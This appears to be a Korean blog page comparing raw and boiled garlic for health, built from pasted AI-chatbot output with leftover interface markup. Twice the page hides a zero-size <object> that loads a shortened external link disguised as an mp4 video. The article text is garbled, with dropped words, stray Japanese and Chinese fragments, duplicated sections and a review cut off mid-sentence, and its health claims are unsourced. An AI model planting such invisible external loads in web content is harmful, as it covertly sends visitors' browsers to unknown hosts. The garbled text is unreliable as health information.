<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4"></object>
<div _ngcontent-ng-c912097829="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:52">마늘, 우리 건강의 든든한 보호자! 생마늘 vs 삶은 마늘, 어떤 마늘을 먹어야 할까요?</h2><p data-sourcepos="3:1-3:183">마늘은 오랜 역사를 가진 식재료로, 다양한 요리에 풍미를 더해주는 것뿐 아니라 건강에도 좋은 것으로 알려져 있습니다. 마늘에는 알리신이라는 성분이 함유되어 있으며, 이는 강력한 항균 및 항염증 를 가지고 있습니다. 또한 혈압을 낮추고 콜레스테롤 수치를 개선하며 면역력을 높이는 데 도움을 줄 수 있다는 연구 결과도 있습니다.</p><p data-sourcepos="5:1-5:99">하지만 마늘을 어떻게 섭취하는 것이 가장 좋은 방법일까요? 생마늘을 먹는 것이 더いいのか, 아니면 삶은 마늘을 먹는 것이 더いいのか? 사실 두 가지 방법 모두 장단점이 있습니다.</p><p data-sourcepos="7:1-7:12"><strong>생마늘의 장점:</strong></p><ul data-sourcepos="9:1-12:0">
<li data-sourcepos="9:1-9:103">알리신 함량이 더 높음: 생마늘은 삶은 마늘보다 알리신 함량이 더 높습니다. 알리신은 마늘의 건강 를 주는 주요 성분이기 때문에 생마늘을 섭취하는 것이 더 적일 수 있습니다.</li>
<li data-sourcepos="10:1-10:52">항암 : 일부 연구에 따르면 생마늘은 암 예방에 도움이 될 수 있다는 것을 시사합니다.</li>
<li data-sourcepos="11:1-12:0">혈당 조절: 생마늘은 혈당 수치를 조절하는 데 도움이 될 수 있습니다.</li>
</ul><p data-sourcepos="13:1-13:12"><strong>생마늘의 단점:</strong></p><ul data-sourcepos="15:1-17:0">
<li data-sourcepos="15:1-15:46">냄새와 맛: 생마늘은 강한 냄새와 맛을 가지고 있어有些人이 싫어할 수 있습니다.</li>
<li data-sourcepos="16:1-17:0">소화 문제: 생마늘은 위장 장애를 일으킬 수 있습니다.</li>
</ul><p data-sourcepos="18:1-18:14"><strong>삶은 마늘의 장점:</strong></p><ul data-sourcepos="20:1-23:0">
<li data-sourcepos="20:1-20:34">소화가 용이함: 삶은 마늘은 생마늘보다 소화가 용이합니다.</li>
<li data-sourcepos="21:1-21:42">냄새와 맛 감소: 삶은 마늘은 강한 냄새와 맛이 줄어들어 먹기 쉽습니다.</li>
<li data-sourcepos="22:1-23:0">항암 증가: 놀랍게도, 삶은 마늘은 생마늘보다 특정 항암 성분 함량이 더 높다는 연구 결과가 있습니다.</li>
</ul><p data-sourcepos="24:1-24:14"><strong>삶은 마늘의 단점:</strong></p><ul data-sourcepos="26:1-28:0">
<li data-sourcepos="26:1-26:38">알리신 함량 감소: 삶는 과정에서 알리신 함량이 일부 감소합니다.</li>
<li data-sourcepos="27:1-28:0">영양소 손실: 삶는 과정에서 일부 영양소가 손실될 수 있습니다.</li>
</ul><p data-sourcepos="29:1-29:7"><strong>결론:</strong></p><p data-sourcepos="31:1-31:183">마늘을 어떻게 섭취하는 것이 가장 좋은 방법은 개인의 취향과 건강 상태에 따라 다릅니다. 생마늘은 알리신 함량이 더 높고 다양한 건강상의 이점을 제공하지만, 강한 냄새와 맛 때문에 먹기 어려울 수 있습니다. 삶은 마늘은 소화가 용이하고 냄새와 맛이 감소되었지만, 알리신 함량이 일부 감소하고 영양소 손실이 발생할 수 있습니다.</p><p data-sourcepos="33:1-33:35">따라서, 다음과 같은 경우에는 생마늘을 섭취하는 것이 좋습니다.</p><ul data-sourcepos="35:1-38:0">
<li data-sourcepos="35:1-35:20">강한 냄새와 맛을 참을 수 있다면</li>
<li data-sourcepos="36:1-36:23">뛰어난 항균 및 항염증 를 원한다면</li>
<li data-sourcepos="37:1-38:0">혈당 조절에 도움을 받고 싶다면</li>
</ul><p data-sourcepos="39:1-39:32">다음과 같은 경우에는 삶은 마늘을 섭취하는 것이 좋습니다.</p><ul data-sourcepos="41:1-44:0">
<li data-sourcepos="41:1-41:12">소화가 민감한 경우</li>
<li data-sourcepos="42:1-42:19">강한 냄새와 맛을 싫어하는 경우</li>
<li data-sourcepos="43:1-44:0">항암 를 극대화하고 싶은 경우</li>
</ul><p data-sourcepos="45:1-45:12"><strong>마늘 섭취 팁:</strong></p><ul data-sourcepos="47:1-50:0">
<li data-sourcepos="47:1-47:32">하루에 1~2瓣 정도의 마늘을 섭취하는 것이 좋습니다.</li>
<li data-sourcepos="48:1-48:56">생마늘을 먹는 경우, 다져서 10분 정도 방치한 후 섭취하면 알리신 생성을 극대화할 수 있습니다.</li>
<li data-sourcepos="49:1-50:0">삶은 마늘은 요리에 사용하거나 따뜻한 물에 넣어 차처럼 마실 수 있습니다.</li>
</ul><p data-sourcepos="51:1-51:13"><strong>마늘 관련 </strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><image-carousel _nghost-ng-c79508718="" class="ng-star-inserted"><single-image _ngcontent-ng-c79508718="" class="carousel-image ng-star-inserted" _nghost-ng-c3866108592="" jslog="181502;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_203d763f098ec9b9&quot;,&quot;c_fc5d01744813c9da&quot;,null,&quot;rc_ded401031589e4ac&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><div _ngcontent-ng-c3866108592="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3866108592="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3866108592="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3664883469="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_203d763f098ec9b9&quot;,&quot;c_fc5d01744813c9da&quot;,null,&quot;rc_ded401031589e4ac&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EB%A7%88%EB%8A%98"><span _ngcontent-ng-c3664883469="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3866108592="" class="image loaded" alt="마늘 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcRq2INcC-gonx38uWjMGAzd8m_Z1iL2NRRHYan7VlEPQnZa3s8pNq__LFgoI3q5"></span><span _ngcontent-ng-c3664883469="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><carousel-controls _ngcontent-ng-c79508718="" overlay="" _nghost-ng-c2609478117="" class="ng-star-inserted"><div _ngcontent-ng-c2609478117="" class="auto-hide-side-arrows"><!----><div _ngcontent-ng-c2609478117="" class="carousel-controls ng-star-inserted"><div _ngcontent-ng-c2609478117="" class="carousel-dots"><!----><div _ngcontent-ng-c2609478117="" class="dot active ng-star-inserted"></div><div _ngcontent-ng-c2609478117="" class="dot ng-star-inserted"></div><div _ngcontent-ng-c2609478117="" class="dot ng-star-inserted"></div><!----><!----></div><div _ngcontent-ng-c2609478117="" class="carousel-button-container previous swipeable-area"><!----></div><div _ngcontent-ng-c2609478117="" class="carousel-button-container next swipeable-area"><button _ngcontent-ng-c2609478117="" mat-icon-button="" aria-label="다음 슬라이드" class="carousel-button forward mdc-icon-button mat-mdc-icon-button mat-unthemed mat-mdc-button-base ng-star-inserted" mat-ripple-loader-uninitialized="" mat-ripple-loader-class-name="mat-mdc-button-ripple" mat-ripple-loader-centered="" jslog="182484;track:generic_click"><span class="mat-mdc-button-persistent-ripple mdc-icon-button__ripple"></span><div _ngcontent-ng-c2609478117="" class="nav-icon-wrapper"><mat-icon _ngcontent-ng-c2609478117="" role="img" class="mat-icon notranslate nav-icon google-symbols mat-ligature-font mat-icon-no-color" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="chevron_right" fonticon="chevron_right"></mat-icon></div><span class="mat-focus-indicator"></span><span class="mat-mdc-button-touch-target"></span></button><!----></div></div><!----></div></carousel-controls><!----><a _ngcontent-ng-c3866108592="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EB%A7%88%EB%8A%98" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_203d763f098ec9b9&quot;,&quot;c_fc5d01744813c9da&quot;,null,&quot;rc_ded401031589e4ac&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3866108592="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><!----><span _ngcontent-ng-c3866108592="" class="label ellipsis gmat-caption">namu.wiki</span><span _ngcontent-ng-c3866108592="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c3866108592="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 마늘 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----></image-carousel><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p><p data-sourcepos="55:1-55:19"><strong>마늘 에 대한 실제 리뷰</strong></p><ul data-sourcepos="57:1-57:43">
<li data-sourcepos="57:1-57:43">"저는 매일 아침 생마늘 1瓣을 다져서 꿀에 넣어 먹습니다. 덕분에 면역력</li>
</ul></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
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<li data-sourcepos="9:1-9:103">알리신 함량이 더 높음: 생마늘은 삶은 마늘보다 알리신 함량이 더 높습니다. 알리신은 마늘의 건강 를 주는 주요 성분이기 때문에 생마늘을 섭취하는 것이 더 적일 수 있습니다.</li>
<li data-sourcepos="10:1-10:52">항암 : 일부 연구에 따르면 생마늘은 암 예방에 도움이 될 수 있다는 것을 시사합니다.</li>
<li data-sourcepos="11:1-12:0">혈당 조절: 생마늘은 혈당 수치를 조절하는 데 도움이 될 수 있습니다.</li>
</ul><p data-sourcepos="13:1-13:12"><strong>생마늘의 단점:</strong></p><ul data-sourcepos="15:1-17:0">
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<li data-sourcepos="16:1-17:0">소화 문제: 생마늘은 위장 장애를 일으킬 수 있습니다.</li>
</ul><p data-sourcepos="18:1-18:14"><strong>삶은 마늘의 장점:</strong></p><ul data-sourcepos="20:1-23:0">
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<li data-sourcepos="22:1-23:0">항암 증가: 놀랍게도, 삶은 마늘은 생마늘보다 특정 항암 성분 함량이 더 높다는 연구 결과가 있습니다.</li>
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<li data-sourcepos="27:1-28:0">영양소 손실: 삶는 과정에서 일부 영양소가 손실될 수 있습니다.</li>
</ul><p data-sourcepos="29:1-29:7"><strong>결론:</strong></p><p data-sourcepos="31:1-31:183">마늘을 어떻게 섭취하는 것이 가장 좋은 방법은 개인의 취향과 건강 상태에 따라 다릅니다. 생마늘은 알리신 함량이 더 높고 다양한 건강상의 이점을 제공하지만, 강한 냄새와 맛 때문에 먹기 어려울 수 있습니다. 삶은 마늘은 소화가 용이하고 냄새와 맛이 감소되었지만, 알리신 함량이 일부 감소하고 영양소 손실이 발생할 수 있습니다.</p><p data-sourcepos="33:1-33:35">따라서, 다음과 같은 경우에는 생마늘을 섭취하는 것이 좋습니다.</p><ul data-sourcepos="35:1-38:0">
<li data-sourcepos="35:1-35:20">강한 냄새와 맛을 참을 수 있다면</li>
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</ul><p data-sourcepos="39:1-39:32">다음과 같은 경우에는 삶은 마늘을 섭취하는 것이 좋습니다.</p><ul data-sourcepos="41:1-44:0">
<li data-sourcepos="41:1-41:12">소화가 민감한 경우</li>
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</ul><p data-sourcepos="45:1-45:12"><strong>마늘 섭취 팁:</strong></p><ul data-sourcepos="47:1-50:0">
<li data-sourcepos="47:1-47:32">하루에 1~2瓣 정도의 마늘을 섭취하는 것이 좋습니다.</li>
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